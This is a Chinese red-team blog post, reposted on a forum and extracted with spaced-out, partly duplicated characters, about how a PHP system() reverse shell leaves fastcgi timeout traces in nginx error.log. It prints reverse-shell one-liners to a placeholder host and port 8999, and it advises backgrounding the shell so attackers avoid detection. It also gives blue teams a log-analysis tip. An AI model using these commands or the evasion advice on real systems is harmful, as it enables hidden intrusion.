搜索

[2131] 2020-08-27_渗透中被忽视的error_log

文档创建者：s7ckTeam
浏览次数：8
最后更新：2025-01-16
2020-08-27_渗透中被忽视的error_log 渗 透 中 被 忽 视 的 e r r o r _ l o g 原 创   e c h o _ d   E D I 安 全   2 0 2 0 - 0 8 - 2 7 收 录 于 话 题   # 安 全 武 器 库   , 8 个 点 击 蓝 字 点 击 蓝 字   ·     关 注 我 们 关 注 我 们 0 1 背 景 在 一 次 红 蓝 对 抗 中 ， 为 了 尽 量 减 少 痕 迹 的 留 下 ， 都 会 对 一 些 日 志 进 行 清 理 ， 比 如 ： 删 除 指 定 I P 记 录   。 在 用 P H P   s y s t e m 函 数   进 行 反 弹 s h e l l 时 候 ， 我 发 现 e r r o r . l o g   留 下 的 痕 迹 ， 接 下 来 做 一 个 踩 坑 记 录 ， 避 免 有 师 傅 跟 我 遭 遇 一 样 的 情 况 ， 被 溯 源 到 痕 迹   。 环 境 0 2 e r r o r _ l o g   的 产 生 首 先 e r r o r _ l o g   是 默 认 开 启 的 保 存 路 径 ： / v a r / l o g / n g i n x / e r r o r . l o g n g i n x   e r r o r _ l o g   用 于 记 录 常 规 错 误 消 息 ， 如 果 在 W e b 应 用 程 序 中 遇 到 错 误 ， 可 检 查 n g i n x   e r r r o r _ l o g   以 查 看 是 否 有 关 错 误 发 生 原 因 的 信 息 ， 同 时 e r r o r _ l o g   可 以 自 定 义 等 级 e x a m p l e : 我 们 最 常 见 到 的 e r r o r _ l o g   ， 我 们 访 问 W e b 一 个 不 存 在 的 文 件 0 3 e r r o r _ l o g     f a s t c g i 反 弹 s h e l l : e r r o r _ l o g : 为 什 么 在 执 行 反 弹 s h e l l 的 时 候 ， 发 生 一 条 e r r o r _ l o g ？ 根 据 报 错 我 们 可 以 看 到 ， W e b s h e l l   地 址 ， 报 错 原 因 来 自 f a s t c g i 我 们 在 正 常 执 行 命 令 输 出 的 过 程 ， 是 只 记 录 a c c e s s . l o g 并 不 会 产 生 e r r o r _ l o g n g i n x / 1 . 1 6 . 1 P H P   5 . 4 . 1 6   ( c l i ) e r r o r _ l o g   l o g _ f i l e   l o g _ l e v e l e r r o r _ l o g   / v a r / l o g / n g i n x / e r r o r . l o g   w a r n ; / b i n / b a s h   - i   > &   / d e v / t c p / x . x . x . x / 8 9 9 9   0 > & 1 2 0 2 0 / 0 8 / 2 6   1 5 : 1 1 : 2 2   [ e r r o r ]   2 0 7 6 4 # 0 :   * 2 2 5 7   u p s t r e a m   t i m e d   o u t   ( 1 1 0 :   C o n n e c t i o n   t i m e d   o u t )   w h i l e   r e a d i n g   r e s p o n s e   h e a d e r   f r o m   u p s t r e a m ,   c l i e n t :   x x x . x x . x ,   s e r v e r :   _ ,   r e q u e s t :   " P O S T   / t / e v a l . p h p   H T T P / 1 . 1 "
P H P   S Y S T E M   函 数 没 错 ， 刚 过 完 的 七 夕 、 没 有 妹 妹 在 等 你 ， 没 错 ， 刚 过 完 的 七 夕 、 没 有 妹 妹 在 等 你 ， s y s t e m   在 等 着 你 返 回 结 果 在 等 着 你 返 回 结 果 ~ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ ！ 因 为 在 执 行 反 弹 因 为 在 执 行 反 弹 s h e l l 命 令 时 ， 命 令 时 ， s y s t e m 在 等 待 输 入 命 令 的 返 回 结 果 ， 因 为 长 期 等 待 不 到 结 果 ， 导 致 误 认 为 连 接 不 到 在 等 待 输 入 命 令 的 返 回 结 果 ， 因 为 长 期 等 待 不 到 结 果 ， 导 致 误 认 为 连 接 不 到 f a s t c g i 报 错 。 报 错 。 也 就 是 说 当 红 队 执 行 反 弹 也 就 是 说 当 红 队 执 行 反 弹 s h e l l 命 令 时 可 能 会 留 下 命 令 时 可 能 会 留 下 e r r o r _ l o g   ,   在 实 际 查 看 在 实 际 查 看 e r r o r _ l o g   中 ， 当 您 执 行 的 一 些 命 令 有 误 或 者 长 时 挂 起 ， 导 致 连 接 中 ， 当 您 执 行 的 一 些 命 令 有 误 或 者 长 时 挂 起 ， 导 致 连 接 f a s t c g i   连 接 超 时 连 接 超 时   都 会 产 生 都 会 产 生   e r r o r _ l o g 。 。 0 4 s o l v e p r o b l e m 因 为 反 弹 s h e l l   执 行 命 令 时   等 待 不 到 输 出 结 果 ， 导 致   u p s t r e a m   t i m e d   o u t   ( 1 1 0 :   C o n n e c t i o n   t i m e d   o u t )   w h i l e   r e a d i n g   r e s p o n s e   h e a d e r   f r o m   u p s t r e a m 加   &   符 号   把 新 起 的 / b i n / b a s h   放 置 后 台 运 行 即 可 ！ 0 5 结 尾 红 队 执 行 命 令   注 意 留 下 的 e r r o r _ l o g     防 止 暴 露 自 己 的 痕 迹 ( 不 止 反 弹 s h e l l   会 留 下 e r r o r _ l o g 、 提 权 、 等 等 操 作 ) 蓝 队 分 析 日 志 当 发 现   W e b   日 志 被 清 除 时 ， 比 如 a c c e s s . l o g   被   清 除 ， 可 考 虑 查 看 e r r o r _ l o g   ( 有 惊 喜 ) 借 用 大 佬 的 话 、 渗 透 的 本 质 就 是 信 息 收 集 。 E D I 安 全 ： 我 们 相 遇 那 么 久 ， 还 是 等 不 到 小 哥 哥 的 一 句 安 全 ： 我 们 相 遇 那 么 久 ， 还 是 等 不 到 小 哥 哥 的 一 句 爱 了 爱 了 爱 了 爱 了 。 。 E D I 安 全 安 全 一 个 专 注 渗 透 实 战 经 验 分 享 的 公 众 号 p o p e n ( " / b i n / b a s h   - i   > &   / d e v / t c p / i p / 8 9 9 9   0 > & 1   & " , " r " ) 扫 二 维 码 ｜ 关 注 我 们 扫 二 维 码 ｜ 关 注 我 们

回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理